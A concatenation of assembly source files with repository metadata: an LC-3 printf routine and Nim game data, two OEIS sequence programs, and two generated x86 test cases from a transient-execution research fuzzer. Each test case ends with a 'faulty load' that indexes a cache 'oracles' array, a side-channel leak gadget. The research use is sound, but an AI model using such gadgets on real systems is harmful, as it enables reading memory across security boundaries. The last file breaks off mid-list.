BRnzp PRINTF_NUM
PRINTF_CHECKHEX
ADD R2, R0, #0
LD R7, PRINTF_X
ADD R2, R2, R7
BRnp PRINTF_CHECKOCT
AND R2, R2, #0
ADD R2, R2, #-16 ;going to divide by 10 by using sub loop
BRnzp PRINTF_NUM
PRINTF_CHECKOCT
ADD R2, R0, #0
LD R7, PRINTF_O
ADD R2, R2, R7
BRnp PRINTF_CHECKBIN
AND R2, R2, #0
ADD R2, R2, #-8 ;going to divide by 10 by using sub loop
BRnzp PRINTF_NUM
PRINTF_CHECKBIN
ADD R2, R0, #0
LD R7, PRINTF_B
ADD R2, R2, R7
BRnp PRINTF_ERROR
AND R2, R2, #0
ADD R2, R2, #-2 ;going to divide by 10 by using sub loop
;BRnzp PRINTF_NUM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%d
PRINTF_NUM
LEA R7, PRINTF_BUF
ADD R7, R7, #15
ADD R7, R7, #1
;AND R2, R2, #0
;ADD R2, R2, #-10 ;going to divide by 10 by using sub loop
ADD R5, R5, #1 ;acquire the binary number
LDR R0, R5, #0
ADD R0, R0, #0
BRzp PRINTF_DECPOS
NOT R0, R0 ;make num positive for sub loop
ADD R0, R0, #1
PRINTF_DECPOS
AND R3, R3, #0
ADD R3, R3, #-1
PRINTF_DIVLOOP
ADD R3, R3, #1 ;num/10
ADD R0, R0, R2 ;R0 = num % 10 - 10
BRzp PRINTF_DIVLOOP
ADD R3, R3, #0
BRz PRINTF_LASTDIGIT
;LD R1, PRINTF_ASCII
;ADD R1, R1, R0
;NOT R2, R2
;ADD R1, R1, R2
;ADD R1, R1, #1
;NOT R2, R2
;;;;;ADD R1, R1, #10
;STR R1, R7, #0
;ADD R7, R7, #-1 ;stored ascii value of one digit
LEA R1, PRINTF_ASCII
ADD R1, R1, R0
NOT R2, R2
ADD R1, R1, R2
ADD R1, R1, #1
NOT R2, R2
LDR R1, R1, #0
STR R1, R7, #0
ADD R7, R7, #-1 ;stored ascii value of one digit
ADD R0, R3, #0 ;num/10
BRnzp PRINTF_DECPOS
PRINTF_LASTDIGIT
;LD R1, PRINTF_ASCII
;ADD R1, R1, R0
;ADD R1, R1, #10
;STR R1, R7, #0
LEA R1, PRINTF_ASCII
ADD R1, R1, R0
NOT R2, R2
ADD R1, R1, R2
ADD R1, R1, #1
NOT R2, R2
LDR R1, R1, #0
STR R1, R7, #0 ;stored ascii value of highest order digit
LDR R0, R5, #0
ADD R0, R0, #0
BRzp PRINTF_DECSTRING
LD R0, PRINTF_MINUS ;num was negative
ADD R7, R7, #-1
STR R0, R7, #0 ;stored ascii value negative sign
PRINTF_DECSTRING ;print the calculated string
ADD R0, R7, #0
PUTS
ADD R4, R4, #1
BRnzp PRINTF_LOOP
PRINTF_ERROR
PRINTF_DONE
LDR R4, R6, #0 ;restore R4
ADD R6, R6, #1
LDR R5, R6, #0 ;restore bp
ADD R6, R6, #1
LDR R7, R6, #0 ;restore ret addr
ADD R6, R6, #1
RET
GLOBAL_DATA_START
rowA .FILL #3
rowB .FILL #5
rowC .FILL #8
player .FILL #1
i .FILL #0
row .FILL #0
num .FILL #0
printInfo .FILL lc3_printInfo
L4_nim .FILL lc3_L4_nim
L5_nim .FILL lc3_L5_nim
L11_nim .FILL lc3_L11_nim
L12_nim .FILL lc3_L12_nim
L16_nim .FILL lc3_L16_nim
L17_nim .FILL lc3_L17_nim
L1_nim .FILL lc3_L1_nim
step .FILL lc3_step
L24_nim .FILL lc3_L24_nim
L27_nim .FILL lc3_L27_nim
L28_nim .FILL lc3_L28_nim
L32_nim .FILL lc3_L32_nim
L36_nim .FILL lc3_L36_nim
L40_nim .FILL lc3_L40_nim
L25_nim .FILL lc3_L25_nim
L26_nim .FILL lc3_L26_nim
L23_nim .FILL lc3_L23_nim
L57_nim .FILL lc3_L57_nim
L58_nim .FILL lc3_L58_nim
L60_nim .FILL lc3_L60_nim
L61_nim .FILL lc3_L61_nim
L56_nim .FILL lc3_L56_nim
getchar .FILL lc3_getchar
putchar .FILL lc3_putchar
scanf .FILL lc3_scanf
printf .FILL lc3_printf
L63_nim .STRINGZ "Player 2 Wins.\n"
L62_nim .STRINGZ "Player 1 Wins.\n"
L45_nim .STRINGZ "Get row: %c, num: %c\n"
L44_nim .STRINGZ "Invalid move. Try again.\n"
L43_nim .STRINGZ "\n"
L42_nim .FILL #67
L39_nim .STRINGZ "\n"
L38_nim .FILL #66
L35_nim .STRINGZ "\n"
L34_nim .FILL #65
L31_nim .FILL #48
L30_nim .STRINGZ "Player 2, choose a row and number of rocks: "
L29_nim .STRINGZ "Player 1, choose a row and number of rocks: "
L19_nim .STRINGZ "\n"
L15_nim .STRINGZ "ROW C: "
L14_nim .STRINGZ "\n"
L10_nim .STRINGZ "ROW B: "
L9_nim .STRINGZ "\n"
L7_nim .FILL #111
L3_nim .FILL #0
L8_nim .FILL #1
L2_nim .STRINGZ "ROW A: "
.END
| 15.729896 | 73 | 0.589369 |
cbaf26be2232407fa2e0dbd94a17f525a701b6ac | 511 | asm | Assembly | oeis/298/A298751.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/298/A298751.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/298/A298751.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A298751: Decimal expansion of (1/2)(1 + sqrt(-3 + 4*sqrt(5))).
; Submitted by Christian Krause
; 1,7,1,9,0,4,3,8,7,8,4,1,4,4,6,8,5,9,7,2,6,4,6,2,9,9,8,1,8,4,7,4,4,8,3,9,5,0,3,2,1,3,2,9,3,0,1,9,8,4,3,4,1,8,8,8,5,0,1,6,2,4,9,5,9,7,7,4,7,9,1,5,6,5,2,9,6,7,4,3,6,4,5,9,2,8,1,4,9,0,3,7,3,4,3,1,0,9,7,4
mov $1,1
mov $3,$0
mul $3,4
lpb $3
add $6,$2
add $1,$6
add $2,$1
mul $1,2
sub $3,1
add $5,$2
mul $2,2
add $6,$5
lpe
mov $4,10
pow $4,$0
div $2,$4
cmp $5,0
add $2,$5
div $1,$2
mov $0,$1
mod $0,10
| 19.653846 | 201 | 0.526419 |
58671de56821f8884ded505ce2a57b2722ec0c36 | 760 | asm | Assembly | programs/oeis/044/A044909.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/044/A044909.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/044/A044909.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A044909: Numbers n such that base 8 run lengths alternate: odd, even, odd,...
; 1,2,3,4,5,6,7,64,73,82,91,100,109,118,127,128,137,146,155,164,173,182,191,192,201,210,219,228,237,246,255,256,265,274,283,292,301,310,319,320,329,338,347,356,365,374,383,384,393,402
mov $13,$0
mov $15,$0
add $15,1
lpb $15
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11
clr $0,9
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $4,$0
lpb $0
mov $0,6
mov $5,2
add $5,$4
lpe
mov $7,$5
mul $7,7
div $7,8
mov $1,$7
mov $12,$11
lpb $12
mov $10,$1
sub $12,1
lpe
lpe
lpb $9
mov $9,0
sub $10,$1
lpe
mov $1,$10
mul $1,8
add $1,1
add $14,$1
lpe
mov $1,$14
| 16.888889 | 183 | 0.525 |
98182d89920bd8768cf2e1e6cc21a999483ab4d7 | 6,536 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_1742.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_1742.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_1742.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x8da5, %rsi
lea addresses_UC_ht+0x14355, %rdi
and $25535, %r9
mov $22, %rcx
rep movsq
nop
nop
add %rbp, %rbp
lea addresses_D_ht+0xdb88, %r12
nop
nop
nop
nop
nop
cmp $34198, %r9
mov $0x6162636465666768, %rbp
movq %rbp, (%r12)
nop
nop
nop
nop
cmp $11165, %rbp
lea addresses_A_ht+0x16755, %rdi
nop
nop
nop
nop
nop
and %r8, %r8
movl $0x61626364, (%rdi)
nop
nop
add $62608, %rsi
lea addresses_A_ht+0x10755, %r12
nop
nop
nop
add $20492, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
movups %xmm7, (%r12)
nop
nop
add %r9, %r9
lea addresses_UC_ht+0x5903, %rsi
lea addresses_A_ht+0x14c41, %rdi
nop
nop
xor %rbx, %rbx
mov $24, %rcx
rep movsb
nop
nop
nop
nop
xor %r12, %r12
lea addresses_WT_ht+0xb955, %rsi
lea addresses_WT_ht+0x3301, %rdi
clflush (%rdi)
nop
nop
sub %r12, %r12
mov $74, %rcx
rep movsl
nop
inc %r12
lea addresses_WT_ht+0xc361, %rsi
lea addresses_WC_ht+0x1915, %rdi
nop
nop
nop
nop
add $38390, %r12
mov $7, %rcx
rep movsw
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %rax
push %rbp
push %rbx
push %rdx
// Store
lea addresses_WT+0x1473d, %rax
add %r12, %r12
movw $0x5152, (%rax)
xor %rdx, %rdx
// Store
lea addresses_RW+0x1b555, %rax
nop
nop
sub %r11, %r11
movw $0x5152, (%rax)
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %rax
nop
nop
nop
nop
xor $17401, %r11
// Store
lea addresses_WT+0x1dae2, %r14
nop
nop
nop
cmp %rbp, %rbp
movb $0x51, (%r14)
nop
nop
inc %r11
// Faulty Load
lea addresses_RW+0x1b555, %rbp
nop
nop
nop
add %rbx, %rbx
movb (%rbp), %r12b
lea oracles, %rbx
and $0xff, %r12
shlq $12, %r12
mov (%rbx,%r12,1), %r12
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': True, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_WT', 'same': False, 'AVXalign': True, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'52': 21829}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
| 35.521739 | 2,999 | 0.656977 |
ad97b5da44f222b2abbb512fd63021572c510925 | 260 | asm | Assembly | libsrc/_DEVELOPMENT/adt/p_list/c/sdcc_iy/p_list_insert_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/p_list/c/sdcc_iy/p_list_insert_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/p_list/c/sdcc_iy/p_list_insert_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void *p_list_insert_callee(p_list_t *list, void *list_item, void *item)
SECTION code_adt_p_list
PUBLIC _p_list_insert_callee
_p_list_insert_callee:
pop af
pop bc
pop hl
pop de
push af
INCLUDE "adt/p_list/z80/asm_p_list_insert.asm"
| 15.294118 | 73 | 0.738462 |
711db28ad88712250238e4c1774c91bf41535f64 | 434 | asm | Assembly | oeis/019/A019789.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/019/A019789.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/019/A019789.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A019789: Decimal expansion of sqrt(e)/16.
; 1,0,3,0,4,5,0,7,9,4,1,8,7,5,8,0,0,9,1,7,8,0,4,0,6,7,4,2,3,8,3,8,5,2,2,3,2,2,8,3,6,1,0,0,6,2,9,4,3,8,4,2,5,0,7,2,3,4,4,2,4,5,6,9,7,7,5,4,1,3,1,3,8,2,4,6,3,8,4,7,5,5,3,9,5,4,8,5,3,2,5,0,3,5,2,2,9,1,5,1
add $0,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $2,$3
add $1,$2
div $1,$0
mul $2,2
div $2,$0
sub $3,1
lpe
mov $4,10
pow $4,$0
div $2,$4
mul $2,8
div $1,$2
mod $1,10
mov $0,$1
| 18.869565 | 201 | 0.520737 |
6d2ae76a0c66fa754cb4ede67f1811b45f7a6c49 | 8,041 | asm | Assembly | Transynther/x86/_processed/US/_st_sm_/i9-9900K_12_0xa0.log_21829_1543.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_st_sm_/i9-9900K_12_0xa0.log_21829_1543.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_st_sm_/i9-9900K_12_0xa0.log_21829_1543.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x9074, %rsi
xor %r11, %r11
movl $0x61626364, (%rsi)
nop
nop
nop
cmp %rdx, %rdx
lea addresses_UC_ht+0x18d57, %rsi
lea addresses_WT_ht+0xdb68, %rdi
nop
nop
nop
nop
cmp $29066, %rbp
mov $115, %rcx
rep movsw
nop
nop
add $46399, %rsi
lea addresses_normal_ht+0x11068, %rsi
lea addresses_WT_ht+0x196ec, %rdi
nop
nop
nop
nop
nop
cmp $41480, %r14
mov $38, %rcx
rep movsw
nop
nop
nop
nop
nop
add $10361, %rsi
lea addresses_A_ht+0x9d68, %rbp
nop
nop
nop
xor %r11, %r11
movups (%rbp), %xmm3
vpextrq $0, %xmm3, %rdx
nop
nop
nop
inc %r14
lea addresses_A_ht+0x11f68, %r14
nop
nop
nop
nop
nop
sub $49876, %rsi
movups (%r14), %xmm7
vpextrq $0, %xmm7, %rdx
inc %rsi
lea addresses_WC_ht+0xf500, %rsi
clflush (%rsi)
nop
cmp $33211, %rdi
movb (%rsi), %dl
nop
nop
nop
nop
nop
and $30620, %r14
lea addresses_WT_ht+0x5028, %rsi
lea addresses_UC_ht+0x18d68, %rdi
add $46468, %r9
mov $0, %rcx
rep movsb
add %rdi, %rdi
lea addresses_UC_ht+0x11968, %r14
nop
nop
nop
nop
nop
and $34585, %rsi
movl $0x61626364, (%r14)
nop
nop
add $30462, %rdi
lea addresses_WT_ht+0x1532c, %r9
sub $3616, %rdi
movups (%r9), %xmm5
vpextrq $1, %xmm5, %rsi
and %rdx, %rdx
lea addresses_normal_ht+0x84cd, %rdi
nop
nop
add $56664, %rbp
mov (%rdi), %dx
nop
nop
nop
nop
nop
sub $48163, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
// Store
mov $0x17402b0000000b28, %rbp
nop
nop
nop
and $3949, %r15
mov $0x5152535455565758, %rbx
movq %rbx, %xmm7
vmovups %ymm7, (%rbp)
nop
nop
nop
nop
inc %rbx
// Store
mov $0x1464700000000d68, %rcx
nop
dec %r9
mov $0x5152535455565758, %r15
movq %r15, %xmm2
movups %xmm2, (%rcx)
nop
nop
nop
nop
sub %rdi, %rdi
// Store
lea addresses_US+0x5ab7, %r12
nop
cmp $63078, %rcx
mov $0x5152535455565758, %r15
movq %r15, (%r12)
nop
nop
nop
nop
xor $53739, %rdi
// Store
lea addresses_RW+0x6b68, %rdi
nop
dec %rbx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
movntdq %xmm5, (%rdi)
nop
nop
nop
dec %rbp
// Store
lea addresses_WT+0x13568, %rbx
nop
nop
nop
nop
nop
sub %r12, %r12
movb $0x51, (%rbx)
nop
nop
and $47281, %rdi
// Store
lea addresses_US+0x14968, %rbp
clflush (%rbp)
nop
nop
nop
and %rcx, %rcx
mov $0x5152535455565758, %r15
movq %r15, (%rbp)
nop
and $31405, %r9
// Faulty Load
lea addresses_US+0x14968, %rbp
add %rdi, %rdi
movb (%rbp), %bl
lea oracles, %rbp
and $0xff, %rbx
shlq $12, %rbx
mov (%rbp,%rbx,1), %rbx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 9, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WT', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 8}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 4}}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 10, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 